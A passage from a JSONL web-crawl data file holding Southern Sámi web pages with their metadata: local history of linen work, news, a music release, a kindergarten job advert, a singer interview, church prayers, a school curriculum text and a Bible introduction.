0.9931031465530396}","num_words":51,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.059,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Lijnegïetedimmie\nDïhte Ångermanlanden lijne lij guhkies jïh nænnoes. Dan aareh galmadahken åvtese dah lijnem tjoehpin åvteli vetsmieh lin ellies sjïdtedamme. Dïhte fïjnebe lijnem vedti, men lijnevetsmieh tjoerin åestedh båetieh jaepien seejemasse, eeremasth Rigeste, dah bööremes vetsmieh utniejin. 1700-låhkosne linnelærftem sjïdti aktem dajven vihkielommes doekemevaaroem jïh gaertenh mej dejnie gïetedin meehtin ræjhkoes sjïdtedh. Men krïevi gujht nænnoesvoetem jïh maahtoem guktie dan soe væjkeles sjïdti. Sjïdtedidh, lijnem gïetedidh, butnedh jïh veevedh, gaajhkem tjoerin eensilaakan darjodh. Eeremasth tjaebpemes lijnelærftem doekin vualkojne åarjese. Gaskem jeatjah almetjh Dalarneste böötin Ångermanlandese jïh galkin gïetedimmiem lïeredh.\nElin soptsesti gïesedh hearvam maarhmoren pruvremerïngken tjïrrh. Dïhte soptsestamme jaepien 1810 fïjnemes lijnem dellie laejkie lij dan siegkies goh goelke-tjåelie, ellies hearva lij 20 grammh löövles jïh laejkie lij medtie 2 km guhkies jïh ellies hearva dan siegkies meehti dam gïesedh maarhmoren pruvremerïngken tjïrrh.\nÅestedh vetsmieh\nSeejedh\nBihkedh\nRöötedh\nGejhkedh\nBråkedh\nSkæktedh\nHægkledh\nGïesedh\nBorstedh\nButnedh\nVeevedh","id":"","dump":"CC-MAIN-2022-21","url":"http:\/\/nolavonda.se\/sma\/lijnegietedimmie","date":"2022-05-29T01:17:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663035797.93\/warc\/CC-MAIN-20220529011010-20220529041010-00051.warc.gz","language":"sma","language_score":0.9999974966,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999974966049194}","num_words":143,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.049,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1,3 millijovnh Nøørjesne jiejkieh\n1,3 millijovnh almetjh Nøørjesne ij vientieh almetjh maehtie klijmajorkestimmien jeatjahtehtieh, akte orre EU-rapporte vuesiehtamme. Medtie 12.000 almetjh Nøørjeste, Irlanteste, Italijaste, Tysklanteste jïh Englanteste meatan pryövenassesne man nomme PERITIA.\nProfessore Cathrine Holst jïh dotkije Torbjørn Gundersen tuhtjiejægan rovnege dan gellie Nøørjesne jiejkeminie dan bijre. Gåabpatjahkh pryövenassine barkeminie. Gundersen ij daajra manåvteste dan gellie Nøørjesne jiejkieh, bene daelie dah tjuerieh goerehtidh jïh vuejnedh jis dah maehtieh naan vaestiedassem gaavnedidh.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/www.nrk.no\/sapmi\/nyheter\/1_3-millijovnh-noorjesne-jiejkieh-1.16025641","date":"2022-08-10T02:33:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882571097.39\/warc\/CC-MAIN-20220810010059-20220810040059-00040.warc.gz","language":"sma","language_score":0.9988173246,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9988173246383667}","num_words":68,"character_repetition_ratio":0.091,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.059,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ima hutkosat\nInger-Mari Aikio-Arianaick lea tekstide tjaaleme jïh Miro Mantera lea dejtie sjïehtedamme jïh dorjeme. Dah laavloeh lea måarehks dååpmehkem bïjre, tjåenievaerie mij gatskese, jïh daatabaltehke mij balta. Jeatja aamhtesh lea tjetskie, geajnoeh, mejnie vuejedh jïh gaamegh.\nIman evtebe CD, \"Ima Ipmasat\", gusnie beagkoes saemieh laavloeh goh Mari Boine, Niko Valkeapää, Sofia Jannok jïh Kai Somby. \"Ima hutkosat\" lea mubpede CD \"Ima ipmasat\" mænngan.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/ovttas.no\/sma\/jietna_ima-hutkosat","date":"2022-08-19T13:47:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882573699.52\/warc\/CC-MAIN-20220819131019-20220819161019-00120.warc.gz","language":"sma","language_score":0.996393919,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9963939189910889}","num_words":64,"character_repetition_ratio":0.022,"word_repetition_ratio":0.0,"special_characters_ratio":0.182,"stopwords_ratio":0.172,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Orre laanteståvroe Sámiid Duodjisne\nDan hieljien lij laantetjåanghkoe organisasjovne Sámiid Duodji.\nLaanteståvroe männgan laantetjåanghkoe 2022 lea: åejvie Catarina Utsi, minngebeåejvie Sissel Johnsen, Nuorta-Finnmárku, Mattias Harr, Duodje Nordlánnda, Unni Fjellheim (Åarjel Saemien Dajve), Oddveig Nymo Dalbakk (Romsa) jïh Randi Josefsen (Gaska-Finnmárku).\nAamhtesidie aamhteselæstosne lij mïelide Saetniesvoetekommisjovne- jïh liktemekommisjovne, organisasjovnestruktuvre, ohtseme orre regijovneste Helgelandda.\nIj naan duedtiebaakla dan jaepien dannasinie lea fïerhten mubpien jaepien.\nEvtebe jaepen 2021 lij Solveig Lovise Johannessen jïh Solveig Tangeraas Duodjibaalka åadtjoejin.","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/www.nrk.no\/sapmi\/nyheter\/orre-laantestavroe-samiid-duodjisne-1.16124409","date":"2022-12-06T21:27:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446711114.3\/warc\/CC-MAIN-20221206192947-20221206222947-00238.warc.gz","language":"sma","language_score":0.8990125656,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.899012565612793, \"sme_Latn_score\": 0.10010161250829697}","num_words":72,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.083,"flagged_words_ratio":0.0,"lang_id_score":0.948,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vaadtasovvemejaepie\n1994\nGiele\nISBN\n8276970540\nFormaate\nSïejhme gærja\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n119\nGåetietjåadtjoehtimmie jïh ekonomijes sjïehtehtimmie Guovdageaidnun båatsosne 1960–1993.\nDaesnie gåetietjåadtjoehtimmiem goerehtalleme jïh mestie pryöveme båatsoen åvtanimmiem guarkedh jïh tjïelkestidh guktems dïhte minngemes 30 jaepien orreme (1960–1990). Gosse naemhtie båatsoen gåetietjåadtjoehtimmiem goerehtalleme måedtiej jaepiej tjïrrh jïh fïere guhten gåetehken barkoem\/vætnoem vuartasjamme, dellie aalkeme guarkedh magkerh jorkesimmieh dejtie gåetiehkidie sjïdteme jïh guktie dïhte jis tjarke dan gåetien ekonomijem dïjpeme.","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/ovttas.no\/sma\/girji_inn-fra-vidda","date":"2022-12-03T09:11:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710926.23\/warc\/CC-MAIN-20221203075717-20221203105717-00753.warc.gz","language":"sma","language_score":1.0000035763,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000035762786865}","num_words":66,"character_repetition_ratio":0.091,"word_repetition_ratio":0.0,"special_characters_ratio":0.173,"stopwords_ratio":0.091,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"100 % ihkuve barkoe gååvnese goh pedagogeles åvtehke Suaja Maanagïertesne\nSuaja Maanagïerte gieltegs evtiedimmien uvte tjåådtje mij raaktan datne maahtah meatan årrodh hammoedidh!\nÅarjelsaemien maanagïerte lea bielie Saemien byjjenimmieektievoeteste Snåasen tjïeltesne. Suaja Maanagïerte lea akte 4 pilovtemaanagïertijste Nöörjesne mah SáMOS-prosjekten tjïrrh (Saemien maanah orre ektietjïehtjelinie), edtjieh saemien maanagïerten båetijem aejkiem hammoedidh. Daah maanagïerth edtjieh maehtedh saemien pedagogeles vuekiej mietie barkedh mah saemien gïelem, kultuvrem jïh aerpievuekien daajroem våaroeminie utnieh.\nDov lea maanagïerteööhpehtimmie, maahtojne saemien gïelen jïh kultuvren sisnjeli? Datne pedagogeles ööhpehtimmesne? Ih maahtoem utnieh, men leah vyljehke daam vejtiestidh? Dellie datne dïhte maam ohtsebe, jïh mijjieh sïjhtebe guhkies soejkesjem datnine utnedh!\nGïem ohtsebe?\nDatne:\n- Ööhpehtimmiem åtnah goh maanagïertelohkehtæjja – sïjhtebe aaj jeatjah sjyöhtehke ööhpehtimmiem\/dååjrehtimmiem vuarjasjidh\n- Saemien gïele- jïh kultuvremaahtoem åtnah\n- Sïjhth bieline årrodh maanagïerten pedagogeles åvtehkedåehkeste jïh meatan årrodh faageles evtiedimmesne maanagïerteste\n- Leah fleksijbele, sïjhth raerieh gaavnedh jïh maahtah lïhke barkoevoelpigujmie laavenjostedh\n- Buerie bïevsterisnie jïh viehkehth hijven barkoebyjresem sjugniedidh.\n- Sïjhth aktijve meatan årrodh maanaj stååkedimmesne jïh darjoeminie, mah saemien aarvoevåaromem våaroeminie utnieh\n- Hijvenlaakan rååresjadth maanajgujmie, eejhtegigujmie jïh barkoevoelpigujmie.\n- Leah vyljehke jarkelidh jïh maahtah bïhkedimmiem dåastodh.\nMijjieh faalehtibie\n- Gieltegs barkoelaavenjassh aktene maanagïertesne mij jïjtjemse evtede, mieriesoejkesjen mietie saemien maanagïerti bïjre\n- Maehteles jïh ïedtjije meatanbarkijh\n- Fleksibiliteetem jïh sjïehtedamme barkoebiejjiem\n- Jaabnan dåarjoehtimmiem jïh bïhkedimmiem\n- Baalhkam latjkoen mietie. Golmesåarhts maahtoe maahta aevhkine sjïdtedh (maanagïertelohkehtæjjaööhpehtimmie, saemien gïele jïh kultuvre).\n- Hijven pensjovneöörnegem\n- Tjïelte sæjhta viehkiehtidh gåetiem skååffedh\/ bïevnesh ribledh\n- Juhtememaaksoeh maeksedh tjïelten njoelkedassi mietie\n- Ellies maanagïertegaptjemem tjïeltine.\nVielie bïevnesh barkoen bïjre åadtjoeh jis soptsesth ektievoeten åvtehkinie Hans Lindberg tell. 97978388 jallh maanagïerten åvtehke Morten Berg, tell 91757352.\nSeehteme dorjesåvva dej fierhtenaejkien laaki, njoelkedassi jïh tariffelatjkoej mietie. Ohtsije tjuara pollisevihtiestimmiem deelledh åvtelen aalka. Sïjhtebe leavloem bïejedh persovneles sjiehtelesvoetese. Jis seamma låhkoe gujnijste jïh ålmijste sïjhtebe veeljedh dam tjoelem mij lea unnebelåhkosne,\nOhtsememierie: 12.02.2023\nInntil 100% fast stilling som pedagogisk leder ved Suaja Maanagïerte\nSuaja Maanagïerte står fremfor en spennende utvikling som nettopp du kan være med på å utforme!\nDen sørsamiske barnehagen er en del av Samisk oppvekstenhet i Snåsa kommune. Suaja Maanagïerte er en av 4 pilotbarnehager i Norge som gjennom SáMOS-prosjektet (Samiske barn i nye pedagogiske rom), skal utforme fremtiden til den samiske barnehagen. Disse barnehagene skal kunne arbeide etter samisk pedagogiske metoder som bygger på samisk språk, kultur og tradisjonell kunnskap.\nHar du barnehagelærerutdanning, med kompetanse innen samisk språk og kultur? Er du i et pedagogisk utdanningsløp? Mangler du kompetanse, men er villig til å tilegne deg den? Da er du den vi leter etter, og vi ønsker å satse langsiktig på deg!\nHvem søker vi etter?\nDeg som:\n- Er utdannet barnehagelærer – annen relevant utdanning\/erfaring blir også vurdert\n- Har samisk språk- og kulturkompetanse\n- Ønsker å være en del av barnehagens pedagogiske lederteam og delta i faglig utvikling av barnehagen.\n- Er fleksibel, løsningsorientert og evner å samarbeide tett med kolleger.\n- Har godt humør og bidrar til å skape et godt arbeidsmiljø.\n- Ønsker å være aktivt deltakende i barns lek og aktiviteter, basert på samisk verdigrunnlag.\n- Har god samhandling mellom barn, foreldre og kolleger.\n- Er endringsvillig og mottakelig for veiledning.\nVi tilbyr:\n- Spennende arbeidsoppgaver i en utviklingsorientert barnehage, med utgangspunkt i det rammeplanen sier om samiske barnehager.\n- Kompetente og engasjerte medarbeidere.\n- Fleksibilitet og tilpasset arbeidshverdag.\n- Regelmessig oppfølgning og veiledning.\n- Lønn etter avtale. Trippelkompetanse kan belønnes (barnehagelærerutdanning, samisk språk og kultur).\n- God pensjonsordning.\n- Kommunen er behjelpelig med å skaffe\/formidle bolig.\n- Flytteutgifter dekkes iht. kommunens reglement.\n- Full barnehagedekning i kommunen.\nNærmere opplysninger om stillingene fås ved henvendelse til enhetsleder Hans Lindberg tlf. 979 78 388, eller barnehagestyrer Morten Berg tlf. 917 57 352.\nAnsettelse skjer i h.h.t. de til enhver tid gjeldende lover, reglement og tariffavtaler. Politiattest av ny dato må framlegges før tiltredelse. Personlig egnethet vil bli vektlagt. Under ellers like vilkår vil underrepresentert kjønn bli foretrukket.\nSøknadsfrist: 12.02.2023\nSøknad sendes inn her","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/jobbinamdalen.no\/stilling\/pedagogeles-avtehke-pedagogisk-leder-suaja-maanagierte\/","date":"2023-02-08T10:39:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764500758.20\/warc\/CC-MAIN-20230208092053-20230208122053-00437.warc.gz","language":"sma","language_score":0.9904242158,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9904242157936096}","num_words":600,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.171,"stopwords_ratio":0.067,"flagged_words_ratio":0.0,"lang_id_score":0.993,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mari-Anne Øksnes mij sov ellen voestes plaatam bæjhkoehtamme lea vihth studijovisnie Audun Austlien luvnie. Daesnie dïhte sov ellen voestes plaatam sïjse spealadamme maam daelie bæjhkoehtamme. EP-plaata Stjernestøv mij luajhtasovvi goevten minngiegietjesne golme laavlomh åtna.\nÅssjalommese Idol-tuvresne Tihtelelaavlome Stjernestøv veartenasse bööti akten Idol-tuvren mænngan 2019. Mari-Anne lij joekoen vuartadihks åvtelen edtji scenesne laavlodh Tråantesne, jïh dïhte aaj aajmoem baajnehti bïjlesne gosse Snåaseste vööjin.\n– Manne lim joekoen stråarkan.\nAudun Austli Mari-Annese soptsesti idtji dïhte daarpesjh mestie akt bïlledh, gaajhkesh leah seamma slaajeste dorjesovveme jïh seamma stoere aarvoem utnieh.\n– Gosse limh Røresne Audun munnjien jeehti gaajhkesh mijjieh dorjesovveme naestie-heblijste – aaj doemesjæjjah. Dïhte munnjien skraejriem vedti laavloemasse Stjernestøv, Øksnes soptseste mij lea lohkeme mahte gaajhki naestieguvviej jïh supernovan bïjre. Melodijese leam ohtje viehkiem åådtjeme Hannah Musumistie, mij Ogndalesne orre. Studijovisnie Øksnes meatan utni musihkeridie Jostein Brandtzæg Schei (gitarre\/keyboard) jïh Robin Meier Rødsjø (basse\/tråammah). Gåabpatjahkh baantesne Døgnvill tjoejehtieh.\nDoh göökte jeatjah laavlomh leah «Fly» jïh «Koffer det». Minngemes laavlome lij akte laavlome maam Mari-Anne baantese spealadi jïh eejhtegidie jåvlevadtesinie vedti. Nïejtebe Oline (3) aaj meatan daennie laavloemisnie.\n– Dellie aaj filmem darjoejimh mij teekstem laavloemisnie soptseste, Mari-Anne soptseste mij ij tjïekh eejhtegh jåvlevadtesem lyjhkin.\nLoeveni\nMari-Anne lea lååvleme mænngan lij onne nïejte. 2010-2011 gellie laavlomh tjeeli gosse almetjejïlleskuvlesne veedtsi, men soptseste satne tjaelemeheaptoem utni doh minngebe gaektsie-uktsie jaepieh. Altese nïekedasse lij studijovisnie mïnnedh men såemies jaepieh veesin åvtelen nïejte Imsdaleste aktem laavlomem sïjse spealadi jïh lööjhti ovmessie sertemedïenesjisnie. Laavlome «Little Boy» englaantengïelesne laavloeji.\n– Manne laavenjostoem Auduninie eelkim gosse vadtesekåarhtem aktine biejjine studijovisnie Petteristie (Aasum, ektieårroje red.mïerhk) åadtjoejim. Gosse studijovisnie mïnnim don biejjien manne golme laavlomh sïjse spealadim, Little Boy lij akte dejstie.\n– Dehtie biejjeste Mari-Anne lea gïehtelamme.\n– Dellie eelkim vihth tjaeledh. Gaajhke loeveni Petteren gaavhtan, Mari-Anne mejjesne jeahta.\n– Jïh daelie nöörjen gïelesne?\n– Manne iktesth jeenjemes englaantengïelesne tjaaleme. Vielie båadtsode domtoe nöörjengïelesne tjaeledh. Men gosse korona bööti eelkim nöörjen musihkem goltelidh. Dïhte lij joekoen tjaebpie, jïh lea sagke aelhkebe nöörjengïelesne tjaeledh.\nPlaatalatjkoe\nPlaatasïelte Fajo Music gaskesem veelti Mari-Annine jïh sïjhti dam meatan utnedh sov staellesne. Aarebistie musihkerh staellesne utnieh goh Chand Torsvik jïh Terje Formoe.\n– Manne tjoerim ånnetji ussjedidh åvtelen veeljim meatan årrodh. Manne lim maahteme laavlomem olkese vedtedh jïjtje, men im vïenhth P1 lij sïjhteme dam spealedh dellie, Mari-Anne jeahta, maam P1 aadtjen åehpiedehti jïh spealadi. Dïhte aaj jïjnjem hijven viehkiem åådtjeme trööndere-rockeristie Chand Torsvik.\n– Hijven naakenem utnedh mij faagem maahta jïh lea væjkele dovne teekstine jïh melodijine.\nSæjhta olkese spealadidh\nMari-Anne stoerre lastoem åtna olkese båetedh spealadidh, men tjuara ånnetji vuertedh dejnie. Mari-Anne jïh Petter sotnen mubpiem maanam vuertieminie suehpeden.\n– Ij sån dan jïjnje sjædta daelie, men jaepien 2022 lij luste orreme maam akt buektiehtidh. Sïjhtem jåerhkedh tjaeledh.\n– Dov leah njieljie laavlomh ålkone daelie, dellie almetjh maehtieh govledh mejnie datne gïehtelh, Audun tjïerteste.\n–Mij lea nïekedasse?\n– Im leah naan stoerre nïekedæjja. Men iktesth musihkem lyjhkeme, jïh musihkem meatan åtneme mænngan maanakovresne Kvamesne laavloejim gosse lim njieljien jaepien båeries. Rætnoe monnen leah göökte maanah, fuelhkie voestegh båata. Men nov lea luste orreme Steinkjerfestivaalesne jïh Snåasenjaevrien göölemefestivaalesne årrodh. Tjoerh maaje tjaeledh manne maahtam båetedh gærhkosne laavlodh, dovne juvleminie jïh hïejine, dïhte mejjesne snåasehke jeahta mij plaatam luajhta daelie.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/www.snasningen.no\/mari-anne-sov-voestes-plaatam-stjernestov-bajhkohte\/s\/5-118-12316","date":"2023-03-28T14:30:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296948867.32\/warc\/CC-MAIN-20230328135732-20230328165732-00377.warc.gz","language":"sma","language_score":0.9999607801,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999607801437378}","num_words":507,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.077,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jupmele! Rohkelibie veartenen aalkoe-almetji åvteste jïh dej staeries reaktah lïhtseginie dov redtesne årrodh.Voerkelh veartenen åvtehkidie jïh veartenen gærhkojde guktie sijhtieh aalkoe-almetji reaktah eevtjedh. Viehkehth gaajhkide jaahkoles almetjidie baakoejgujmie haedtiem jïh daaresjimmiem vuastalidh.\nJupmele! Rohkelibie saemiej åvteste. Vedtieh mijjese gaarkh jïh buerie ektievoeth. Årroeh mijjine aktine. Gijhtebe dov buerie vadtesi åvteste. Goltelh gosse dutnjien tjåarvobe jïh sjoehkedibie gosse ibie åajsoeh maam jiehtedh. Vaarjelh mijjem, mijjen barkojde jïh mijjen dajvide. Baajh mijjem guessine jïh vaarjelæjjine dov eatnamisnie årrodh.\nJupmele! Rohkelibie saemiej gïeli åvteste. Eevtjh gærhkojde jïh åålmegidie gïelide fraakas utnedh guktie dov bueriesaernie gaajhkine gïeline govloe. Gåhtjoeh almetjidie dov deanarinie sjïdtedh guktie mijjen leah hearrah, ööhpehtæjjah, diakovnh jïh tjoejehtæjjah gïeh maehtieh saemiestidh jïh saemien kultuvrem jïh vuekide daejrieh.\nJupmele! Vuesehth mijjese gaajhkem man åvteste maehtebe gijhtedh jïh mestie maehtebe aavoedidh. Gijhtebe beajjetji åavtoej åvteste jïh dov sjugniedimmien åvteste. Vuesehth mijjem guktie edtjebe sjugniedimmiem vaarjelidh. Mujhtehth mijjem guktie mijjen maadtoeh jieliejin destie maam datne eatnamistie vedtieji. Mujhtehth mijjem mijjen vuekide jïh jielemem nænnoestidh. Bïhkedh mijjem sinsitniem jååhkesjidh guktie mijjen jaahkoe raeffien baalkam åådtje.\nJupmele! Vedtieh mijjese vïssjelesvoetem guktie arhpebe dejtie gïeh jiermehth leah jïh guktie raeffesne jielebe dejgujmie gïeh tjaegrieh jïh guktie iehtsebe dejtie gïeh mijjem aassjoestieh jïh guktie hoksebe dejtie gïeh mijjem leajmoedieh. Vedtieh mijjese ïedtjem ov-reaktaj jïh væssjoen jïh slognestimmien vuestie barkedh. Vedtieh mijjese jiermieh guktie bahhasvoetem vuastalibie jïh guktie raeffiem jïh ektievoetem eevtjebe.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/www.kirken.no\/nb-NO\/om-kirken\/slik-styres-kirken\/samisk-kirkeliv\/gudstjenesteliv\/gudstjenesteressurser\/bonner\/noere%20almetji%20rohkelassh\/","date":"2023-03-31T03:54:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296949533.16\/warc\/CC-MAIN-20230331020535-20230331050535-00689.warc.gz","language":"sma","language_score":1.0000083447,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000083446502686}","num_words":223,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.108,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bæjhkoje\nNasjonalt senter for samisk i opplæringa\nDaltese\nMagkeres\nPedagogihkeles\nAamhtesh\nViehkiebaakoe\nSaemien lohkemejarnge artihkelem bæjhkohte: Maanaj saemiengïele maanajgïertesne jïh skuvleastoeöörnegisnie (SAÖÖ).\nDaate artihkele bïevnesh åehpiedahta saemiengïeli bïjre, guektien- jïh gelliengïeles maanaj gïeleåvtanimmiem tjalmahtahta, jïh guktie maanajgïerth jïh SAÖÖ maehtieh saemiengïeline barkedh.\nMaanaj saemiengïele maanajgïertesne jïh skuvleastoeöörnegisnie (SAÖÖ)\nOvttas|Aktan|Aktesne bruker også analyseverktøy, dette for å forbedre og videreutvikle nettstedet.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/ovttas.no\/sma\/artihkal_maanaj-saemiengiele-maanajgiertesne-jih-skuvleastoeoornegisnie-saoo","date":"2023-03-24T04:20:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945242.64\/warc\/CC-MAIN-20230324020038-20230324050038-00266.warc.gz","language":"sma","language_score":0.9997403026,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9997403025627136}","num_words":59,"character_repetition_ratio":0.095,"word_repetition_ratio":0.0,"special_characters_ratio":0.127,"stopwords_ratio":0.119,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Duedtie (KHV02‑02)\nFaagen relevaanse jïh vihkeles aarvoeh\nDuedtie lea vihkeles faage praktihkeles tjiehpiesvoetide, kreativiteetese jïh ussjedadtemasse visuelle jïh materijelle kultuvren bijjelen. Faage eatnemen ïebnh jïh saemiej, arktiske aalkoeåålmegi, gellielaaketje daerpiesvoeth, buektemelastoem jïh aerpievuekien daajroem våaroeminie åtna. Sjugniedimmieaavoe, goerehtimmielastoe jïh meatan årrodh jïh dïedtem vaeltedh leah vihkeles aarvoeh seabradahkese jïh indivijdese. Faage edtja learoehkidie aarkebiejjien- jïh barkoejieliedasse ryöjrehtidh mij krïevenassh beaja innovasjovnen, praktihkeles tjiehpiesvoeti jïh maahtoen bïjre kreatijve prosessine jïh maehtedh etihkeles jïh byjresevoerkes veeljemh darjodh. Laavenjostoe voenges kultuvre- jïh jielieminie edtja viehkiehtidh learohki kreatijve barkoem sjyöhtehke gyhtjelasside ektiedidh.\nGaajhkh faagh edtjieh viehkiehtidh lïerehtimmien aarvoevåaromem realiseeredh. Faage edtja sjugneden prosessi tjïrrh learoehkidie dïrregh vedtedh visuellelaakan gaskesadtedh, dam ovnohkens dåastodh, åssjalommesh evtiedidh jïh meatan årrodh kultuvre- jïh seabradahkeevtiedimmesne. Barkoen tjïrrh ovmessie vætnoeaerpievuekiejgujmie jïh tjeahpoevuekiejgujmie jååhkesjimmiem jïjtse jïh mubpiej duedteste åådtje. Faage edtja viehkiehtidh guktie learohkh identiteetem, buektemelastoem jïh ektiedimmiem evtiedieh, jïh tsiehkiem almetji jïh ovmessie byjresi gaskem våajnoes darjodh. Gosse learohkh jïjtse kultuvresne jïh veljie visuelle jïh veartenevijries kultuvreaerpine goerehtieh, dah ektie referaansemierieh jïh toleraansem kulturelle gellievoetese sjugniedieh. Learohkh edtjieh dååjrehtimmiem saemien jïh nöörjen tjeahpojne, hammojne jïh vætnojne åadtjodh. Daajroe jïh dååjrehtimmie tjeahpoe- jïh vætnoeaerpievuekiejgujmie jïh immaterijelle kultuvrine våaromem vadta kultuvreaerpiem reeredh jïh guhkiebasse evtiedidh, jïh sijjen byjresh vaarjelidh. Learoesoejkesje lea vïedteldihkie saemien aarvojne jïh saemien gïelesne, kultuvresne jïh seabradahkejieliedisnie.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/www.udir.no\/lk20\/khv02-02\/om-faget\/fagets-relevans-og-verdier?lang=sma","date":"2023-03-25T06:44:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945317.85\/warc\/CC-MAIN-20230325064253-20230325094253-00256.warc.gz","language":"sma","language_score":1.0000084639,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000008463859558}","num_words":208,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.122,"stopwords_ratio":0.188,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije\nBertije\nVaadtasovvemejaepie\n1997\nDaltese\nFormaate\nSïejhme gærja\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n30\nMearoesaemieh Ivguste.\nIvgu lij 1930 raajan stoere jïh tjåenghkies tjïelte Noerhte-Romsesne gusnie daah golme tjïelth: Gáivuotna, Omasvuotna jïh Ivgu. Gærjesne maahtah daej aamhtesi bïjre lohkedh: golmen tjïerten gaavnedimmie, gïele, gapta jïh åtnoe, eatnemejaahkoe, gaerteneburrie, vijreme jïh gööleme, bigkemevuekieh jïh ståapamaallh.\nGærja aaj digitaalegærjine Nasjonaalegærjagåetesne gååvnese.\nOvttas|Aktan|Aktesne bruker også analyseverktøy, dette for å forbedre og videreutvikle nettstedet.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/ovttas.no\/sma\/girji_holmenes-sjosamiske-gard","date":"2023-06-07T19:08:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224654012.67\/warc\/CC-MAIN-20230607175304-20230607205304-00257.warc.gz","language":"sma","language_score":0.9998252988,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9998252987861633}","num_words":70,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.114,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bijpelen aalkove\nBijpele 66 gærjah åtna jïh göökte boelhkide juakeme: Båeries testamente jïh Orre testamente. Teksth ovmessie karakteerh utnieh: poesije jïh soptsesh, laakh jïh profetijen teksth, vaentjelh jïh prievieh. Dejnie båarasommes biehkine Bijpielisnie leah soptsesh mah leah tjaaleme medtie 1200 Kristusen åvteli jïh åvtese. Judarh bijpele jallh dïhte hebreladtji bijpele – mij kristeles gærhkoe gohtje Båeries testamente – lea aalkovisnie hebreladtji gïelesne tjaaleme. Desnie buerkeste guktie Jupmele veartenem sjugnede jïh Israelen åålmege histovrijen mietie dåerede. Orre testamente greklaanten gïelem aalkoegïeline åtna jïh lea tjaaleme medtie jaepie 50 raejeste jïh 100-låhkoen raajan. Dan ovmessie gærjah Jesusen jieleden bïjre, dan barkoen bïjre jïh dah voestes kristelassji åålmegi bïjre soptsestieh.\nDaelie jeenjemesh bijpelegærjaj sisvege leah lissine luhkieakte gærjah mah såemies aejkien gohtjesåvva Lissieh Båeries Testamentese jïh aarebi provhki dejtie 